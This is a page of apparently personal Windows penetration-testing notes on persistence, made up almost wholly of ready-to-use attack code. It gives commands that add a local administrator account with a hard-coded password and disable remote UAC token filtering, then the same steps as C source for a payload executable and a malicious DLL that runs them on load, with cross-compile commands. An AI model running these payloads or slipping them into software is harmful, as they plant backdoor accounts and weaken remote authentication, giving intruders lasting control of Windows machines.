> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/windows-pentesting/2.-persistence.md).

# 2. Persistence

* [ ] **1. create a new local admin user & disable remote UAC**

```bash
# 1. create a new local admin user & disable remote UAC - 1 liner
net user "tempUserG" "DiffPword951" /add
net localgroup Administrators "tempUserG" /add
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

* [ ] **2. 64-bit '.exe' : Create a new local admin user & disable remote UAC**

```bash
# COMPILE COMMAND:
x86_64-w64-mingw32-gcc payload.c -o payload.exe

### --- START PAYLOAD --- ###
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user tempUserG DiffPword951 /add");
  i = system ("net localgroup Administrators tempUserG /add");
  i = system ("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f");
  
  return 0;
}
### --- END PAYLOAD --- ###
```

* [ ] **3. 64-bit '.dll' Create a new local admin user & disable remote UAC**

```bash
# COMPILE COMMAND:
x86_64-w64-mingw32-gcc dll.cpp --shared -o output.dll

### - start DLL payload - ###

#include <windows.h>
 
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        
        int i;
        i = system ("net user tempUserG DiffPword951 /add");
        i = system ("net localgroup Administrators tempUserG /add");
        i = system ("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f");
        break;
        
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        
        i = system ("net user tempUserG DiffPword951 /add");
        i = system ("net localgroup Administrators tempUserG /add");
        i = system ("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f");
        break;
        
        case DLL_THREAD_DETACH: // A thread exits normally.
        
        i = system ("net user tempUserG DiffPword951 /add");
        i = system ("net localgroup Administrators tempUserG /add");
        i = system ("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f");
        break;
        
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        
        i = system ("net user tempUserG DiffPword951 /add");
        i = system ("net localgroup Administrators tempUserG /add");
        i = system ("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f");
        break;
    }
    return TRUE;
}

### - end DLL payload - ###
```